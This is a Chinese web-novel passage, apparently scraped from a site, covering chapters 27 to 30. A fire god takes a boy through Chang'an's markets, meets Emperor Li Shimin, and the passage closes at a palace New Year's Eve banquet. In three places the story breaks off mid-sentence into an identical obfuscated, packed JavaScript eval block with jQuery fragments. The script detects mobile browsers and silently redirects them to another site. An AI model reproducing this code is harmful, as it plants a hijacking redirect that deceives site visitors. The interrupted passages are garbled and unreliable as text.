走到捏面人的摊前,景颐挪不动步了。面人师傅正捏着条青龙,龙须纤细,鳞片分明。祝融蹲下来,指着景颐对师傅说:“照他样儿捏一个,要威风点的。”
师傅抬眼一看景颐,笑了:“这小公子生得俊,捏成个仙童吧?”
“不,要麒麟。”景颐认真道,“金色的!”
师傅犯难了:“这……面人上色容易掉,金色不好弄啊。”
祝融眨了眨眼,手指在摊上一抹,那盒金粉忽然亮了几分:“用这个,保准不掉色。”
师傅半信半疑地试了试,嘿,金粉竟真服服帖帖地粘在面人上,阳光下金灿灿的。一只活灵活现的小金麒麟很快捏成了,昂首挺胸,憨态可掬。景颐捧着面人,笑得见牙不见眼。
“走,带你听戏去。”祝融付了钱,拉着景颐往坊市深处走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144088|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
临街的茶楼里正跳着傩戏,咚咚锵锵的锣鼓声震天响。台上戴着狰狞面具的方相氏带着十二神兽驱疫逐鬼,跳得尘土飞扬。楼下观众喝彩声一浪高过一浪,果皮扔得满地都是。
祝融抱着景颐挤到前排,不知从哪摸出两个软垫,一人一个坐在门槛上。台上演到吞火那段时,那艺人喷出的火焰比人还高,观众一片惊呼。
祝融却撇嘴:“火候不够,真火得带点儿蓝边儿才好看。”
景颐转头看他:“爷爷能喷火吗?”
“我?”祝融挑眉,“我喷火这楼就没了。”说着手指一弹,指尖窜出一簇小火苗,蓝汪汪的,像朵跳跃的花。火苗在他指尖跳了两下,变成只小火雀,扑棱棱飞到景颐肩膀上,暖烘烘的。
景颐咯咯直笑,小火雀蹭了蹭他脸颊,“噗”一声散了。
戏散场时已是午后。两人拐进条小巷,巷口有个卖醪糟的老汉,推车上架着口大锅,热气腾腾。祝融要了两碗,加了双份桂花蜜。冬日的寒风里,捧着热乎乎的碗,甜香直往鼻子里钻。
“爷爷,”景颐舀了颗圆子,忽然问,“要不要给师父带一碗?”
祝融笑了:“给他带?他挑得狠,嫌太甜,嫌太烫,嫌碗不干净。啧,难伺候得很。哪像你,给什么都吃得香。”
“没有吧?”景颐疑惑道,“师父什么都吃啊,就是不吃我吃剩的。”
祝融哈哈大笑,“他装的,你没注意到他没吃几口吗?从前他就这样,不喜欢的东西,被我盯着才假模假样地吃几口,能得他青睐的,也就流云境清露蒸的茯苓糕。你说他挑不挑?”
景颐笑得差点呛着。
吃完醪糟,两人又逛到皮影戏摊子前。祝融财大气粗地包了场,让师傅专演《山海经》里的故事。景颐看得入迷,看到应龙降雨那段时,忍不住小声问:“爷爷见过真的应龙吗?”
“见过啊,那家伙脾气大得很,上次跟他下棋输了,差点掀了我宫殿的屋顶。”祝融剥着橘子,“不过龙肉烤着吃是真香……”
景颐眼睛瞪圆了:“爷爷吃过龙?!”
“骗你的。”祝融大笑,塞了瓣橘子给他,“神仙不许吃有灵智的,这是规矩。”
他们穿过大半个西市,来到朱雀街转角处一个不起眼的摊位。摊主是个戴着半边木雕面具的老婆婆,摊上摆满了各色傩戏面具,青面獠牙的、慈眉善目的、滑稽可笑的,在暮色中显得有些诡谲又神秘。
祝融在摊前蹲下,修长的手指拂过一排面具。老婆婆抬眼看他,独露在面具外的眼睛浑浊却敏锐。
“郎君要请神面?”老婆婆声音沙哑。
“给孩子请一个。”祝融把景颐拉到身前,“要活泼些的,别太凶。”
老婆婆盯着景颐看了片刻,慢慢从摊下摸出一张赤红面具。那面具雕工粗犷,额生双角,眼眶周围描着金漆,嘴角咧开一个大大的笑,看起来憨态可掬,却又隐隐有股灼人的气势。
“这个好。”祝融接过,举到景颐面前,“喜不喜欢?”
景颐眼睛发亮:“像爷爷!”
祝融大笑,把面具给他戴上。景颐透过眼孔看出去,整个世界都染上了暖洋洋的赤红色。他转头看祝融,发现爷爷也在看他,那双桃花眼里盛着温和的笑意。
28.第 28 章
暮色渐浓,太液池畔的积雪映着宫灯暖光,泛出橘粉色的微晕。李世民沿着池边石径缓步而行,狐裘大氅的下摆在残雪上拖出浅浅痕迹。
年关的千头万绪压在心头,陇右的雪灾奏报、新罗使臣的朝贺日程、元日大朝会的仪程……桩桩件件都需他亲自过目批阅。
此刻偷闲片刻,池面冰层倒映着渐暗的天色,倒让紧绷的神经稍松了松。
转过假山石,便见两个身影迎面走来。
是景颐,提着盏小兔子灯笼,蹦蹦跳跳的。牵着他的那人——
李世民脚步微顿。
那是个看起来不过二十七八的青年,一袭靛蓝布衣在暮色中显得有些单薄,却不见半分畏寒之态。他眉目俊朗,嘴角噙着懒洋洋的笑,通身气度不似凡人。
“李叔叔!”景颐先看见了他,提着灯笼哒哒哒跑过来,脸上还沾着糖渍,“您也出来散步呀?”
李世民弯腰替他擦了擦脸,温声问:“去哪儿玩了?”
“西市!爷爷带我吃了醪糟、看了皮影戏,还买了面具!”景颐扭身给李世民展示腰间挂着的威风凛凛的面具,又献宝似的举了举手里的油纸包,“这是桂花糕,爷爷说分给丽质和雉奴的。”
爷爷?李世民抬眼看向缓步走来的青年,压下心中疑惑,微微颔首:“有劳先生照顾景颐。”
“顺手的事。”祝融摆摆手,目光在李世民脸上停留片刻,忽然笑了,“你就是李世民?”
这称呼让跟在后面的内侍倒吸一口凉气,直呼圣人名讳,这是大不敬!
李世民却摆摆手制止了内侍,神色平静:“正是。”
“嗯,”祝融上下打量他,点了点头,“不错。”
这没头没尾的两个字,让周围空气静了一瞬。
“先生何出此言?”李世民问。
“就是顺眼。”祝融说得直白,“你身上有股劲儿,想做事、能做事的劲儿。不像我见过的那些。”
他顿了顿,瞥了眼皇宫西北方向,“尤其是你捣鼓的那个火玩意儿,虽然路子野了点,但想法挺好。”
李世民眸光一凝。火药之事乃绝密,此人……
“别紧张,”祝融像是看穿他心思,笑了,“我对那东西没兴趣。就是提醒你一句,火这玩意儿,你把它当工具,它就是利器,你把它当玩具,它就会反咬你一口。”
他弯腰拍了拍景颐的脑袋,“行了,跟你李叔叔玩儿去吧,我找你师父说几句话。”
说完真就把景颐往李世民身边一推,转身就走。
走出几步,他又回头,这次是对李世民说的:“对了,你那天工苑得找个靠水的地方。万一出事,泼水比跑路管用。”
话音落,人已消失在假山石后,只留下淡淡的、温暖如炭火的气息。
李世民站在原地,望着祝融消失的方向,良久不语。
“大家?”内侍小心唤了声。
李世民回神,低头看景颐。孩子正仰着脸,深褐色眸子在灯笼光里亮晶晶的:“李叔叔,爷爷很厉害吧?”
“嗯,”李世民牵起他的手,往立政殿方向走,“是很厉害。”
他没再多问什么。有些事,心里明白就好。
只是方才祝融那番话,却让他连日来紧绷的心弦松了一松,就像个摸黑赶路的人,忽然听见前方传来同行者的脚步声。虽然看不清对方是谁,但知道不是独自一人,心里便踏实了。
“景颐,”他忽然问,“那位先生……是你师父的父亲?”
“是呀!”景颐点头,“爷爷可疼师父了,虽然总说他小时候闷。”
李世民唇角微扬。他想起了自己几个孩子,即便性格迥异,他也都疼。
“你师父有福气。”他轻声说。
景颐用力点头:“师父是最好的!”
灯笼的光在雪地上投下暖黄的光晕,一大一小两个身影慢慢走远。
“走吧,你爷爷要和师父说话,咱们先回立政殿。”他牵起景颐的手,“丽质和雉奴在那儿玩着呢。”
凝云轩主屋内,烛火摇曳。
祝融大剌剌坐在长琴平日抚琴的蒲团上,手里把玩着一枚赤红玉佩。长琴站在窗前,背对着他,白衣在烛光下泛着淡淡光晕。
“父亲突然驾临,也不提前传个讯。”长琴的声音听不出情绪。
“提前说了,你又要摆香案备礼,麻烦。”祝融耸肩,“我就想看看你们在人间过得如何。嗯,不错,凝云轩虽小,倒有几分烟火气,比流云境那冷清样儿好。”
长琴转身,神色平静:“您来,不只是为了看我们吧?”
“就是为了看你们。”祝融放下玉佩,正色道,“顺便给你送点东西。”
他从袖中取出一枚巴掌大的莹白贝壳,表面流转着淡蓝水纹,“东海归墟的水珏。没有这个你进不去。”
长琴接过贝壳,触手温凉:“您怎么知道……”
“前些日子跑到我宫殿里翻古籍,以为我不知道?”祝融笑了,又从怀中取出一束泛着金光的丝弦,共七根,“前阵子逮了条在南海兴风作浪的恶蛟,抽筋做的琴弦。你那把凤来琴的弦该换了,这蛟筋弦音色清越,且能承载神力。”
长琴看着那束蛟筋弦,指尖微颤。
“别这副表情。”祝融起身,走到他面前,“你小时候我忙,没怎么陪你。现在补上,不行么?”
他顿了顿,声音低下来,“景颐那孩子,血脉天赋正在觉醒。往后溯梦会更频繁,你多留心。若实在压不住,别忘了家里还有个老家伙。”
“儿明白。”
祝融在屋里踱了两步,随手拨了下琴案上的七弦琴,铮铮几声,音色清越。
“你这地方选得不错,”他转身靠在窗边,“虽在皇宫,却够僻静。李世民那小子也挺有意思。”
长琴将琴弦仔细收好:“父亲似乎对他印象不错。”
“嗯,顺眼。”祝融说得随意,“有野心,但不贪,有手段,但不毒。最难得的是,”他顿了顿,“他真想把事做好,不是做给人看的那种。”
长琴抬眼:“父亲很少这样评价凡人。”
“所以难得啊。”祝融笑了,“行了,时间差不多了。你多和景颐玩玩,那孩子跟你亲,是好事。”
临走前,祝融又从怀中摸出个小锦囊,塞给长琴:“给景颐的压岁礼,白日忘了,等下你转交给他。”
他走到门边,推门前又回头看了眼长琴。烛光下,儿子的侧脸清俊如旧,只是眉宇间少了年少时的孤冷,多了几分人间烟火温养出的柔和。
祝融眼底掠过一丝欣慰。
“对了,”他忽然想起什么,“东海归墟那地方,潮汐有定时。明年开春三月,海眼最稳,要去就那时候去。”
“儿记下了。”
“嗯。”祝融摆摆手,“走了。过年多吃点,别总清汤寡水的,你看景颐那圆脸蛋多好。”
话音落,人已不见。
长琴站在窗前,看着父亲消失的方向,许久,唇角微微扬起一个极淡的弧度。
窗外,长安城沉浸在越来越浓的年味里。远处隐约传来试放爆竹的声响,噼里啪啦的,像是在催着旧岁快走,新年快来。
长琴走到院中,见李世民正送景颐回来。他手里捧着糖糕,蹦蹦跳跳跑过来:“师父!爷爷走了吗?”
“嗯。”长琴摸摸他头,“他给你留了礼物。”
景颐打开锦囊,里面是枚赤红的小玉锁,刻着繁复的火焰纹,触手生温。玉锁下压着张字条,上面是祝融龙飞凤舞的字迹:
【给小景颐:戴着,辟邪,保暖,闯祸时能替你挡一顿揍。新年快乐。】
景颐挠挠头,有几个字不认识,但他识得最后四个字,是新年快乐!
他嘿嘿笑着,央着长琴把玉锁戴到他的脖子上。玉锁贴在心口,暖融融的,像那个总是来去匆匆的爷爷留下的拥抱。
李世民站在月洞门下,看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147703|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这一幕,没有上前打扰。他抬头望向夜空,那里星辰渐显,有一颗赤红色的星子格外明亮,在冬夜里如火焰般燃烧着。
“火德星君……”帝王低语,唇角扬起一个微不可察的弧度。
凝云轩的灯笼在夜风中轻摇,烛火透过红纱,将满院的残雪、散落的春联、还有孩子们的笑脸,都染成温暖的橘色。
——
夜深了,凝云轩西厢房里还亮着灯。
景颐趴在榻上,把今天得来的小玩意儿一样样摆开:已经化得只剩半个身子的糖麒麟、拨浪鼓、面具、还有那盏兔子灯笼,不过蜡烛已经烧完了,只剩个空壳子。
他拿起祝融给的赤红玉锁,借着烛光仔细看。玉锁上的火焰纹路仿佛在流动,摸上去温温的,贴在胸口时有种奇异的安心感。
门外传来极轻的脚步声。
“师父!”景颐立刻坐起来。
长琴推门进来,手里端着碗热腾腾的杏仁酪:“还不睡?”
“师父你看!”景颐献宝似的把一堆玩意儿推过去,“爷爷给我买的!”
长琴在榻边坐下,揉了揉他的头:“玩得开心?”
“嗯!”景颐接过杏仁酪,边喝边眉飞色舞地讲,“爷爷带我吃了醪糟圆子,撒了好多桂花蜜!还看了皮影戏,可好玩了!”
他忽然想到什么,噗嗤笑出来,“对了对了,爷爷还说师父小时候挑食!”
长琴神色微不可察地一变,有些不自然。
“他说你小时候啊,跟其他小孩不一样,不爱吃肉,只喜欢吃青菜。”景颐学着祝融的语气,
“‘那小子,当着我面装模作样夹两块肉,等我一扭头,立刻把肉扒拉到一边,光吃菜!’真的吗师父?”
长琴轻咳一声:“……父亲夸大其词。”
“我就知道!”景颐得意,“师父现在什么都吃,肉也吃!”
长琴不动声色地转移话题:“玩了一天,明日该练字了。”
“知道知道!”景颐喝完最后一口杏仁酪,滚到被窝里,“明天练字!”
长琴替他掖好被角,眼底泛起一丝笑意。
“对了师父,”景颐忽然又从被子里探出头,“爷爷说明年还来看我们,真的会来吗?”
“父亲言出必行。”
“那就好!”景颐心满意足地闭上眼,手里还攥着那枚玉锁,“师父晚安!”
“晚安。”
长琴吹熄蜡烛,轻手轻脚退出房间。
廊下,冬夜的寒风凛冽。长琴仰头望向夜空,那颗赤红色的星子依然明亮。
他想起父亲傍晚时说的那些话,“李世民那小子,挺有意思。”
父亲很少这样评价人,上一次被他这样说的,还是……
长琴摇摇头,不再去想。转身回房时,脚步却比往日轻快了些。
而在长安城某条小巷深处,那个醪糟摊还亮着灯。
祝融不知何时又回到了这里,正坐在条凳上慢悠悠喝第三碗醪糟。摊主是个老头,跟他有一搭没一搭地闲聊。
“郎君不是本地人吧?听着口音不像。”
“路过,过几天就走。”祝融舀起一勺酒酿,桂花香混着淡淡的酒气,“您这醪糟酿得好,米香足,酒味正。”
“祖传的手艺!”老头得意,“我爷爷那辈儿就在这儿摆摊了。”
祝融笑了笑,仰头把碗里的醪糟喝完。热乎乎的酒意从胃里漫上来,暖遍四肢百骸。
人间烟火,最抚凡人心。
也抚神仙心。
他放下铜钱,起身时脚步微微晃了晃。摊主忙问:“郎君没事吧?这醪糟后劲可大!”
“没事,”祝融摆摆手,笑容在灯笼光里格外明亮,“正好,睡个好觉。”
他哼着不知名的小调,晃晃悠悠走进夜色深处。巷口的灯笼把他的影子拉得长长的,那影子也晃晃悠悠的,像个快乐的醉汉。
今夜长安,酒香四溢,好梦正酣。
29.第 29 章
腊月三十的酉初时分,天色将暗未暗,长安城已被一片暖黄的灯笼海点亮。凝云轩内,景颐正被两个宫女围着打扮。
“小郎君抬手……对,这只袖子。”
年长些的宫女小心翼翼地将宝蓝色锦缎小袄套在景颐身上。袄子是长孙皇后特意吩咐尚服局赶制的,用最柔软的吴缎,内衬细绒,领口袖边镶着一指宽的白狐风毛,既华贵又不失童趣。
另一个宫女跪在地上,正给景颐穿鹿皮小靴。靴面用金线绣着祥云纹,靴口还缀了圈细小的金铃,走起路来叮当作响。
“能不能不戴这个?”景颐苦着脸,指了指桌上那对金丝发带。
“这是皇后娘娘赏的,得戴。”宫女笑着,将他原本松散扎着的两个小髻解开,重新梳理。景颐的头发又软又黑,在烛光下泛着淡淡光泽。宫女灵巧地将头发分成两股,在耳侧各编了个小辫,再用金丝发带系成对称的双髻。
长琴从内室走出时,看到的便是这番景象。他今日也换了装束,白金色暗云纹深衣,外罩淡青色鹤氅。虽仍是清冷模样,但这身打扮让他多了三分人间烟火气。
“师父!”景颐眼睛一亮,哒哒哒跑过去,靴上金铃清脆作响,“好看吗?”
长琴打量他片刻,伸手将他衣领上一根翘起的狐毛抚平:“嗯。”
就这一个字,景颐却笑开了花。他知道师父从不说虚话,说“嗯”就是真的觉得好。
院外传来铃铛声,由远及近。丽质一身绯红宫装出现在月洞门口,披着雪白的狐裘斗篷,手里提着盏莲花形琉璃灯。灯内烛火透过粉红琉璃,在她脸上映出柔和光晕。
她身后跟着李治,小家伙穿着缩小版的玄色朝服,头戴远游冠,一本正经地迈着步子,偏生脸蛋圆鼓鼓的,反差得可爱。
“先生。”丽质向长琴行礼,礼仪标准得无可挑剔。过了今夜她就是十岁了,一举一动已初显长孙皇后的风范,端庄中带着天然的亲和力。
长琴微微颔首:“有劳公主。”
“景颐!”李治先绷不住严肃,跑过来拉住景颐的手,“娘娘说今晚有好多好吃的,还有杂耍看!”
景颐立刻被转移了注意力:“什么杂耍?”
“吐火罗的幻术,还有高车人的绳技!”李泰的声音从院外传来。他今日穿着紫色圆领袍,头戴玉冠,圆脸上满是兴奋,“快走快走,去晚了就看不着了!”
长琴目送三个孩子簇拥着离去,李丽质细心地替景颐整理了下斗篷系带。待他们身影消失在宫道转角,他才转身回屋。
屋中琴案上,凤来琴静静横陈。长琴指尖拂过新换的蛟筋弦,父亲所赠的琴弦已换上,音色果然清越非凡,隐隐有龙吟之韵。
他从袖中取出那枚避水珏,莹白贝壳在烛光下流转着淡蓝水纹。
三月东海归墟……时间不多了。
两仪殿内,数百盏宫灯将这座大唐最重要的宫殿照得亮如白昼。
殿高九丈,深十二间,朱漆巨柱需两人合抱。此刻每根柱旁都立着鎏金仙鹤灯架,鹤嘴衔着的灯碗中,儿臂粗的蜡烛熊熊燃烧,融化的烛泪如琥珀般堆积。
穹顶垂下三十六盏巨型莲花吊灯,每盏都由上百片琉璃拼成,折射出的光晕将整个大殿笼罩在梦幻般的暖金色中。
殿中央铺着巨幅波斯地毯,猩红的底色上用金线织出繁复的缠枝莲纹。地毯四周,筵席如雁翅排开。左右各三列,每列十二席,皆是用整块紫檀木雕成的食案。
每张食案上已摆满冷盘点心:雕成牡丹、孔雀形的蜜饯攒盒,堆成宝塔状的千层酥,每层酥皮薄如蝉翼,晶莹剔透的水晶肴肉,还有用萝卜雕成的龙凤、用面塑捏的十二生肖,栩栩如生。
御座设在殿北高台,高出地面三尺。李世民与长孙皇后并肩而坐,皆着绛红礼服。
李世民头戴黑介帻,上加通天冠,冠前垂十二旒白玉珠串,身着十二章纹衮服。他今日眉宇总算松快了不少,笑看着殿内众人。
长孙皇后则身着深青色钿钗礼衣。衣身绣十二行金线翚翟纹,外罩同色大袖襦。头戴九龙四凤花树冠,两侧博鬓饰翡翠云片,垂下六条珠珞。整套妆饰华贵庄重,将她端方温雅的气度衬得愈显雍容。
她端坐在御座上,目光温柔地扫过下方席位的孩子们。李承乾、李泰、李丽质、李治,还有被安排在皇子席的景颐,都规规矩矩坐着,小脸在宫灯下泛着兴奋的红光。
“陛下,”长孙皇后微微侧身,声音压得只有两人能听见,“景颐那孩子今日倒安静。”
李世民顺着她的目光看去,笑了:“怕是憋着劲儿等看热闹呢。”
景颐确实在努力保持安静,李承乾就坐在他左手边,太子殿下今日格外沉稳,不时低声提醒弟弟妹妹们礼仪。
景颐学着他的样子挺直腰板,双手放在膝上,偏生那双眼睛不安分地转来转去,打量着殿中一切。
李泰坐在景颐右手边,早就按捺不住了。他凑过来,用袖子遮着嘴小声说:“景颐你看那边,那些铜鹤灯,嘴里吐出的烟是香的!加了沉水香!”
景颐吸吸鼻子,果然闻到空气中若有若无的沉香气息,混着酒香、食物香、还有百官身上佩的香囊气息,织成一种独属于皇宫盛宴的馥郁氛围。
殿门处,太常寺赞礼官高唱:“诸藩使臣——入殿觐见——”
殿门大开,寒风裹着雪沫卷入,却被殿中暖意瞬间消融。一行服饰各异的使臣鱼贯而入。
为首的是一对中年夫妇。男子约莫四十余岁,高鼻深目,头戴金冠,身着紫色圆领回鹘袍,腰束玉带,正是高昌国王麴文泰。他身旁的王妃宇文氏约三十许,穿着高昌贵族女子的锦绣长裙,外罩轻纱帔巾。
二人行至御座前,依唐礼跪拜:“臣麴文泰,妾宇文氏,恭祝皇帝陛下、皇后殿下新岁吉祥,大唐国运昌隆!”
李世民与长孙皇后含笑抬手:“王与王妃平身,赐座。”
第二个上前的是吐蕃大论禄东赞。他身材高大,赭面涂着暗红色膏脂,耳垂戴着寸许大的金环,身着左衽豹皮镶边袍。
“吐蕃使臣禄东赞,恭祝大唐皇帝如雪山永固,如雅鲁藏布江长流!”他的汉语不如麴文泰流利,却字字铿锵。
李世民对这吐蕃重臣颇为重视,温声道:“大论远来辛苦。赞普可有书信?”
禄东赞从怀中取出一卷用牦牛皮包裹的信札,双手奉上:“赞普亲笔书信在此。赞普言,吐蕃愿永为大唐西屏,共保丝路安宁。”
这话说得漂亮,殿中百官纷纷颔首。李世民展开信札看了几眼,笑容更盛:“赞普美意,朕心领了。赐座。”
接着是回纥、薛延陀、新罗、百济、靺鞨等部族使臣依次上前。殿中回荡着各种口音的汉语贺词,热闹非凡。
使臣们被引至专设的蕃臣席,位置虽在百官之后,却与皇室家眷席相邻。
景颐好奇地打量着那些异族人,他第一次同时见到这么多不同模样、不同装扮的人。
禄东赞的座位恰在景颐斜前方。这位吐蕃大论入座时,从怀中取出一串紫檀木念珠,轻轻拨动。念珠共一百零八
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151097|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颗,每颗都雕刻着微小的六字真言,在宫灯下泛着幽暗的光泽。
景颐的目光落在那串念珠上,眼睛忽然眨了眨,他看见了另一个画面:雪山之巅的寺庙中,一位老喇嘛将这串念珠郑重地放在年轻禄东赞手中,嘴唇翕动说着什么……
“景颐?”李承乾轻声提醒,“莫要一直盯着看。”
景颐回神,发现禄东赞正似笑非笑地看向他。那眼神锐利,却又带着几分好奇。景颐对他露齿一笑,连忙低头,假装摆弄桌上的金杯。
随后,使臣们开始献礼。
麴文泰的礼物最是耀眼,十二匹纯白大宛马,由侍从牵着在殿外展示。马匹高大神骏,通体雪白无一根杂毛,马鞍马镫皆用金银打造,镶嵌各色宝石。另有高昌特产的葡萄酒百坛、葡萄干千斤。
禄东赞献上吐蕃珍宝:三尺高的纯金释迦牟尼坐像一尊,佛像眉间镶嵌鸽卵大的红宝石;牦牛尾拂尘十柄,尾毛洁白如雪;还有整张完整的雪豹皮三张,毛色油亮,斑纹如画。
回纥献宝马鞍具,薛延陀献貂皮大氅,新罗献千年人参,百济献海东青……珍奇异宝琳琅满目,堆满了殿侧的长案。
李世民一一笑纳,命内侍记档,并当场赐下相应回礼:丝绸、瓷器、茶叶、金银器皿,价值皆不低于贡品。
酉正二刻,宴席正式开始。
编钟与编磬同时奏响,清越的金属声与温润的石器声交织成《雍和》之乐。这是祭祀天地的大乐,用在除夕宴上,彰显着大唐对上苍的敬畏与感恩。
乐声中,百官举杯起身,面向御座齐声贺道:“臣等恭祝陛下、皇后,新岁安康,大唐永昌!”
“众卿平身。”李世民抬手,声音浑厚有力,“今日除夕,君臣同乐,不必过多拘礼。”
话虽如此,礼数却一丝不乱。先是侍中宣读新年贺表,接着是三省长官依次敬酒,然后是教坊司的乐舞上场。
第一支舞是《七德舞》,这是根据《秦王破阵乐》改编的宫廷舞。六十四名舞者分八列,着金甲,执戟盾,在鼓点中变换阵型。时而如雁阵展翅,时而如长蛇盘旋,舞至高潮处,所有舞者齐声高喝,戟盾相击,铿锵之声震得殿梁微尘簌簌。
景颐看得眼睛都不眨。他眸中映着跃动的烛火与金甲反光,那些舞者的身影在他眼中仿佛重叠起来,变成六百个、六千个,在旷野上列阵冲杀。
“景颐。”李承乾轻轻碰了碰他手臂。
景颐猛地回神,眼中的幻影散去。他眨眨眼,发现舞已结束,舞者正列队退场。
“你看入神了。”李承乾低声道,“喝点蜜水。”
景颐乖乖捧起面前的金杯,里面是用蜂蜜、桂花、冰糖调的饮子,温温的,甜而不腻。
接下来是教坊司女乐。先是十六名舞姬着青绿襦裙,舞《清商乐》,水袖翩跹如烟。接着是《剑器舞》,八名红衣少女执剑而舞,剑光如雪,英气逼人。然后才是众人期待的龟兹胡旋。
鼓声一变,急促如雨点。十二名胡姬踏着鼓点旋入殿中,她们身着薄纱胡服,赤足,足踝系着金铃,腰肢束得极细。随着鼓点加快,舞姬们开始旋转,彩裙绽成一朵朵怒放的花,金铃声响成一片清脆的急雨。
李泰兴奋得直拍案:“好!好!”
景颐也看呆了。他从未见过这样的舞蹈。那些胡姬仿佛不知疲倦,越转越快,最后几乎成了十二团彩色的旋风。而她们脸上的笑容却始终灿烂,眼神明亮如星。
胡旋舞罢,殿中掌声雷动。舞姬们喘息着行礼退下,香汗已浸透薄纱。
30.第 30 章
而后宴席进入了最欢快的阶段。教坊司搬上各种杂耍戏具,吐火罗的幻术师率先登场。
那是个白发白须的老者,身着五彩斑斓的宽袍。他先向御座行礼,然后从袖中掏出一把铜钱,往空中一抛,铜钱在半空中叮当作响,排成一条游动的钱龙,绕殿飞了三圈,才哗啦一声落回他手中。
“好!”满殿喝彩。
老者又取出一只空铜盆,往空中一泼,清水如瀑布般倾泻,但在落地前瞬间凝结成无数冰晶,在宫灯照耀下折射出七彩光华,如天女散花。
“哇!”孩子们惊呼。
景颐眼睛瞪大,他看出来了,那老者袖中藏着极细的硝石粉,泼水时悄悄撒出,硝石遇水吸热,让水瞬间结冰。不是什么法术,是巧妙的戏法。
他正想凑到李泰耳边解说,却见李承乾对他轻轻摇头。太子殿下眼神温和:看破不说破,方是礼仪。
景颐乖乖闭了嘴,继续看表演。
接下来是绳技。两个高车少女在殿中拉起一根麻绳,离地一丈高。其中一个少女轻盈跃上,在绳上行走如履平地,甚至还能翻筋斗、倒立。最后她单足立于绳上,缓缓张开双臂,臂上竟各站着一只白鸽,扑棱棱飞起,在殿中盘旋。
乐声再起,这次是各国使臣献艺。回纥吹笛,吐蕃献舞……
李世民看得兴致盎然,举杯道:“四海一家,今日同乐!诸使臣皆有赏!”
“谢陛下!”使臣们齐声应和,殿中气氛愈发热烈。
酒过数巡,许多人已有了醉意。李世民面色微红,忽然起身笑道:“朕听闻,草原上有句话,最美的歌要唱给最尊贵的人,最欢快的舞要跳给最亲近的人。今日在座皆是大唐的肱骨、远方的朋友、朕的家人!”
他顿了顿,目光扫过全场:“如此良辰,如此佳宴,岂能只坐着看?诸卿,可愿与朕共舞?”
此言一出,殿中霎时寂静。
皇帝邀臣子共舞?这……于礼不合啊。
长孙皇后却抿嘴轻笑,竟也起身,挽起大袖襦袖口:“陛下既有此雅兴,妾愿相随。”
帝后都起身了,谁还敢坐着?
程咬金第一个跳起来,这位老将军喝得满面红光,大笑道:“陛下!老臣虽舞姿不佳,但愿助兴!”
他这一带头,武将们纷纷响应。尉迟恭、秦琼、侯君集……这些平日威严的大将,此刻都笑着起身。
文臣们面面相觑。房玄龄和长孙无忌相视苦笑,却也挽手起身。魏徵板着脸,却也没驳皇帝面子,规规矩矩地站到场边。
李世民哈哈大笑,率先走入殿中空地。太常寺乐正何等机灵,立刻指挥乐工换曲,奏起欢快的《春莺啭》。
鼓点轻快,笙箫悠扬。皇帝随着乐声踏起步子,挥袖转身间自有一股开国君王的豪迈气度。
长孙皇后紧随其后,她左手轻提翟衣下摆,随着乐声缓缓旋转。冠上的珠翠划出流光,深青翟衣上的金线翚翟在烛火下仿佛展翅欲飞。虽身着最庄重的礼服,她的舞姿却端庄中透着灵动,威仪里含着欢欣。
“娘娘好美……”丽质喃喃道,眼中满是崇拜。
李承乾灌下一杯酒,起身向弟弟妹妹们伸手:“来。”
李泰第一个响应,一把拉起景颐:“景颐!我教你!”
景颐懵懵懂懂地被拉进场中,他哪里会跳舞,只能学着前面人的样子胡乱踏步。宝蓝色锦袄的下摆随着动作甩来甩去,靴上金铃叮当乱响,配上他努力模仿却总是慢半拍的动作,活像只误入鹤群的笨拙小鸭子。
丽质笑着牵起他另一只手:“跟着我,左、右、左、右……对!”
皇子公主们全数加入。李治年纪尚小,被宫人拉着在场边跺脚,咯咯直笑。
大臣们彻底放开了。房玄龄和长孙无忌手挽手跳起来,虽然动作迟缓,却满脸笑容。魏徵板着脸踏着极其规整的步子,每一步都像在度量衡。程咬金则完全放飞自我,扭腰摆臀,活像个胡旋舞者,引得周围人哈哈大笑。
使臣们也被这气氛感染。禄东赞大笑着加入,他跳的是改良过的吐蕃舞,豪迈中带着几分宫廷舞的规整。回纥使者吹着骨笛在场边伴奏,脚还跟着打拍子。高昌王夫妇相携旋转翻领袍袖飞舞如蝶。
渐渐地,所有人自发地手拉手,围成一个大圈。皇帝、皇后、太子、公主、皇子、宰相、将军、使臣……身份地位的差别在这一刻模糊了,所有人都只是这除夕夜里,想要尽情欢笑的普通人。
圈越转越快,乐声越来越急。笑声、歌声、踏地声、金铃声、骨笛声、还有杯盘偶尔被碰倒的脆响。所有声音混成一片热烈澎湃的洪流,冲上殿梁,震得宫灯都在轻轻摇晃。
景颐被丽质和李承乾一左一右牵着,在人群里转了一圈又一圈。他脸颊红扑扑的,眼睛映着满殿跃动的烛火,那些灯火在他眼中连成一片温暖的光海。
